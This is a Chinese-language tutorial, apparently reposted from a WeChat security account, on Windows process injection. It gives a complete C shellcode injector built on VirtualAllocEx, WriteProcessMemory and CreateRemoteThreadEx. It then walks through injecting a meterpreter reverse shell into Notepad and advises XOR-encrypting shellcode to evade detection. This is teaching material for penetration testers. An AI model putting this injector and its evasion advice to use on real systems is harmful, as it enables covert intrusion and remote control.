进程注入
进程注入是一种先进的渗透测试技术,由经验丰富的渗透测试人员使用,将恶意代码引入非恶意进程,在没有检测和响应解决方案的情况下秘密渗透。
进程注入也称为 shellcode 注入,它采用各种机制和方法。我们将在有关进程注入的综合指南中探讨其理论以及用于实现其目标的不同形式的 shellcode 注入!准备探索这个非凡的进程注入世界吧!
进程注入简介
进程注入是一种利用代码注入非恶意进程来实现隐秘系统感染的技术。通过将代码注入合法进程,攻击者可以在访问该进程的内存、资源甚至提升特权时避免被检测到。其主要目标是提升特权,这允许攻击者危害系统上的其他用户。
了解流程
在深入研究进程注入之前,我们先来了解一下它的核心概念:进程。简单来说,进程是一个执行程序,由私有的虚拟地址空间和可执行程序以及需要打开的句柄、安全上下文、上下文ID、进程ID、进程ID、线程ID组成;每个进程都有自己的内存空间、线程和安全上下文ID。
虚拟地址空间
-
进程的虚拟地址空间是指它可以访问的内存。
-
该空间可以是私有的,也可以是共享的,私有内存只能由其自身访问,而共享内存则映射到磁盘上并在多个进程之间共享。
-
VMMap 等工具可以帮助可视化这些虚拟地址空间,以便更好地洞察。
Table of Handles
句柄代表系统资源,例如文件、线程、进程等,可以在句柄表中查看,该表包含与一个进程关联的所有打开句柄的引用。诸如 Process Explorer 之类的工具可以深入了解与一个进程关联的所有打开句柄。
Tokens
每个进程都需要一个访问令牌来建立其安全上下文。访问令牌由多个组件组成,例如用户或组所持有的帐户和组的安全标识符 (SID)、这些组所拥有的权限等。Process Explorer 可以通过显示进程访问令牌的组成部分来帮助您了解进程的访问令牌。
线程
线程是进程中负责运行代码的组件。它维护 CPU 寄存器的状态、安全上下文和整体进程状态,以及可能同时运行的任何其他任务。进程中可能包含多个独立执行的线程。
Exploring Privileges and Integrity
-
权限在进程注入中起着至关重要的作用。
-
它们决定进程可以执行哪些系统级操作,并包括 SeDebugPrivilege、SeImpersonatePrivilege 和 SeTcbPrivilege 作为常见特权的示例。
-
访问令牌提供了有关进程安全上下文的更多详细信息,包括其所有者、组成员身份和模拟级别——了解这两种类型对于成功注入进程至关重要。
Shellcode 注入
Shellcode 注入(也称为可移植可执行 (PE) 注入)是一种流行的进程注入方法,涉及将恶意代码写入另一个进程的虚拟地址空间并在其中执行。Shellcode 注入涉及的步骤包括:
-
打开受害进程的句柄。
-
在目标进程内分配内存。
-
将 shellcode 写入分配的内存空间
-
通过新线程启动执行
生成 Shellcode 是成功的关键
Shellcode 是进程注入技术的核心,其中包含将被引入目标进程的恶意代码。在创建 Shellcode 时,在其生成过程中格外小心至关重要——从在线来源使用它通常会被安全解决方案检测到;为了绕过此类检测并获得更大的保护,应该使用 XOR 运算对其进行加密——可以使用 msfvenom 等工具为此目的生成它,然后使用此技术进行加密。
图表:Shellcode 注入工作示例
为了演示 shellcode 注入的威力,让我们通过一个例子来说明它。
让我们检查以下代码:
#include <windows.h>
#include <stdio.h>
const char* k = "[+]";
const char* i = "[*]";
const char* e = "[-]";
DWORD PID, TID = NULL;
LPVOID rBuffer = NULL;
HANDLE hProcess, hThread = NULL;
unsigned char shellcode[] = /*SHELLCODE GOES HERE*/;
int main (int argc, char* argv[]){
if(argc < 2){
printf("%s Usage: program.exe <PID>n", e);
return EXIT_FAILURE;
}
PID = atoi(argv[1]);
printf("%s Trying to open a handle to process (%ld)n", i, PID);
/*1. Open a handle to the process*/
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
printf("%s Got a handle to the process!n\---0x%pn", k, hProcess);
if(hProcess==NULL){
printf("%s Could'nt get a handle to the process (%ld), error: %ldn", e, PID, GetLastError());
return EXIT_FAILURE;
}
/*2. Allocate space to the process memory*/
rBuffer = VirtualAllocEx(hProcess, NULL, sizeof(shellcode), (MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);
printf("%s Allocated %zu bytes of memory of process (%ld) with rwx permissionsn",k, sizeof(shellcode), PID);
/*3. Write the shellcode to the memory*/
WriteProcessMemory(hProcess, rBuffer, shellcode, sizeof(shellcode), NULL);
printf("%s Wrote %zu bytes to process (%ld) memoryn",k, sizeof(shellcode), PID);
/*4. Create Thread to run our payload*/
hThread = CreateRemoteThreadEx(hProcess, NULL, 0,(LPTHREAD_START_ROUTINE)rBuffer, NULL, 0, 0, &TID);
if(hThread==NULL){
printf("%s Could'nt get a handle to the thread, error: %ldn", e,
GetLastError());
CloseHandle(hProcess);
return EXIT_FAILURE;
}
printf("%s Got a handle to the thread(%ld)n\---0x%pn", k, TID, hThread);
printf("%s Waiting for thread to finish executingn", k);
WaitForSingleObject(hThread, INFINITE );
printf("%s Thread finished executingn", k);
printf("%s Cleaning upn", i);
CloseHandle(hThread);
CloseHandle(hProcess);
return EXIT_SUCCESS;
}
-
该程序将进程 ID (PID) 作为命令行参数。
-
它尝试使用具有完全访问权限(PROCESS_ALL_ACCESS)的 OpenProcess() 打开指定进程的句柄。
-
如果成功,它会使用 VirtualAllocEx() 在目标进程内分配内存来存储 shellcode。内存分配设置了读取、写入和执行权限 (PAGE_EXECUTE_READWRITE)。
-
然后,程序使用 WriteProcessMemory() 将 shellcode 写入目标进程内分配的内存空间。
-
编写 shellcode 后,它会在目标进程中创建一个远程线程,以使用 CreateRemoteThreadEx() 执行注入的代码。这实际上会在目标进程中启动一个新线程,并将线程的入口点设置为注入的 shellcode 的开头。
-
最后,程序通过调用 WaitForSingleObject() 并设置无限超时时间,等待远程线程完成执行,确保注入的代码在继续执行之前完成执行。
-
一旦远程线程执行完毕,程序将使用 CloseHandle() 关闭远程线程和目标进程的句柄。
让我们看看实际效果:
步骤1) 我们首先生成一个meterpreter反向shell shellcode
步骤2) 接下来,我们将生成的shellcode粘贴到上面的代码中并进行编译。
步骤3) 编译完成后,让我们生成一个合法的进程,这里是记事本,并获取其PID。
步骤4) 现在,我们将使用记事本的PID执行编译的代码。
步骤5) 同时,让我们使用exploit/multi/handler模块在Metasploit中配置一个监听器。
我们可以看到我们得到了一个反向 shell,其中包含我们注入的 shellcode,该 shellcode 通过进程注入执行
下一步:提高注射技术
通过自动 PID 检测、最小化权限请求、更安全的内存分配、直接 WinAPI 函数调用和沙盒规避增强 shellcode 注入。改进技术以有效规避检测。
总结
了解进程注入及其各种方法可使渗透测试人员绕过防御,获得未经授权的访问权限。合乎道德且负责任地使用这些技能可增强网络安全,强调明智使用这些技术的重要性。
利用对进程和 shellcode 注入的深入了解来充分挖掘它们的潜力!
原文始发于微信公众号(Ots安全):进程注入:利用 Shellcode 的强大功能
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论